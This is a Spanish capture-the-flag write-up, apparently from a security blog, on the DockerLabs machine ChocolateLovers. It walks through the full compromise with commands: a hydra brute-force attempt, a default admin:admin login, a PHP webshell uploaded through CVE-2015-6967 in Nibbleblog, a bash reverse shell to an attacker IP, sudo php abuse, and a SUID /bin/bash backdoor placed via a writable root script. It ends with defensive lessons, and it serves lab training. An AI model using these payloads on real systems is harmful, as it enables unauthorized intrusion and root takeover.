the_open_door
café
ESEN

ChocolateLovers

DockerLabsFácilLinux172.17.0.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#nibbleblog#cve-2015-6967#file-upload#rce#reverse-shell#sudo#gtfobins#suid#writable-script
TL;DR. ChocolateLovers corre Nibbleblog, un CMS ligero cuyo panel cede a las credenciales por defecto admin:admin. La versión es vulnerable a CVE-2015-6967, una subida de archivos sin restricciones en el plugin My image que da RCE y una revshell como www-data. De ahí, sudo -u chocolate php (GTFOBins) pivota a chocolate, dueño de un script que root ejecuta: reescribiéndolo para poner el bit SUID a /bin/bash se escala a root con bash -p.

Reconocimiento

Escaneo inicial

El escaneo de puertos deja un servidor web como única superficie.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT   STATE SERVICE
80/tcp open  http
nmap -p80 -sCV <ip> -oN targeted
whatweb http://<ip>

Fuzzing de directorios

dirsearch y una revisión del index.html apuntan a una ruta /nibbleblog/, y dentro, a su panel de administración:

dirsearch -u http://<ip>

Acceso: Nibbleblog

Del panel a las credenciales por defecto

El panel /nibbleblog/admin.php invita a probar fuerza bruta, pero Nibbleblog bloquea la conexión tras varios intentos fallidos, así que hydra devuelve una lluvia de falsos positivos:

hydra -L usuarios.txt -P <rockyou.txt> "http-post-form://<ip>/nibbleblog/admin.php:username=^USER^&password=^PASS^:Invalid username or password"

La solución no es fuerza bruta sino probar lo obvio: admin:admin entra. Es un recordatorio de comprobar credenciales por defecto antes de lanzar herramientas ruidosas.

CVE-2015-6967

Ya autenticados, se identifica la versión de Nibbleblog. Las anteriores a la 4.0.5 sufren CVE-2015-6967: el plugin My image permite subir ficheros sin validar su tipo, que quedan accesibles y ejecutables en /nibbleblog/content/private/plugins/my_image/. Es una subida de archivos a RCE.

Shell como www-data

Subir la webshell

Desde el panel se instala el plugin My image y se sube un PHP mínimo en lugar de una imagen:

<?php echo shell_exec($_REQUEST['cmd']); ?>

El fichero cae en la ruta del plugin, donde el servidor lo ejecuta. Se confirma el RCE:

curl "http://<ip>/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"

Reverse shell

Con ejecución de comandos, nos ponemos a la escucha en el 443:

nc -lvnp 443

y el one-liner de bash entabla la revshell:

bash -c "bash -i >&/dev/tcp/<attacker-ip>/443 0>&1"

Tras un tratamiento de la TTY, tenemos shell como www-data.

Escalada: www-data → chocolate

www-data puede ejecutar php como el usuario chocolate sin contraseña:

sudo -l
User www-data may run the following commands:
    (chocolate) NOPASSWD: /usr/bin/php

GTFOBins documenta que php -r ejecuta comandos del sistema; con -u chocolate la shell resultante es de ese usuario:

sudo -u chocolate /usr/bin/php -r "system('/bin/sh');"

Escalada: chocolate → root

Un script de root escribible

Listando procesos se ve a root ejecutando periódicamente un script. El fichero, sin embargo, pertenece a chocolate:

ps aux | grep root
ls -l /opt/script.php
-rwxrwxr-x 1 chocolate chocolate  ... /opt/script.php

Un script que root ejecuta pero que otro usuario puede escribir es una escalada directa: se sustituye su contenido por un payload que dé el bit SUID a bash. Cuando root vuelva a lanzarlo, lo ejecutará como root:

echo '<?php exec("chmod u+s /bin/bash"); ?>' > /opt/script.php

bash -p

Con /bin/bash marcado SUID, bash -p mantiene el EUID de root y entrega la shell privilegiada:

ls -l /bin/bash
bash -p
# id
uid=1001(chocolate) gid=1001(chocolate) euid=0(root) groups=...

Cadena de ataque

HTTP  ->  /nibbleblog/admin.php  ->  admin:admin (credenciales por defecto)
    └─> CVE-2015-6967 (plugin My image, subida sin restricciones)  ->  webshell  ->  RCE
            └─> revshell  ->  www-data
                    └─> sudo -u chocolate php -r system()  ->  chocolate
                            └─> /opt/script.php escribible (lo ejecuta root)  ->  chmod u+s /bin/bash
                                    └─> bash -p  ->  root

Lecciones aprendidas

  • Prueba lo obvio antes de brutear. Un panel con admin:admin ahorra el ruido (y los falsos positivos) de hydra contra un CMS que además bloquea por intentos fallidos.
  • Un CMS sin actualizar es RCE servido. CVE-2015-6967 convierte un plugin de imágenes en subida de webshell; mantener Nibbleblog >= 4.0.5 lo cierra.
  • Cuidado con quién posee lo que ejecuta root. Un script lanzado por root pero escribible por otro usuario es escalada inmediata; el propietario y los permisos del fichero importan tanto como quién lo ejecuta.
  • El bit SUID sobre bash es la puerta trasera clásica. chmod u+s /bin/bash + bash -p da root sin contraseña; conviene auditar binarios SUID periódicamente.
Cheatsheet de comandos 9 comandos

Repaso rápido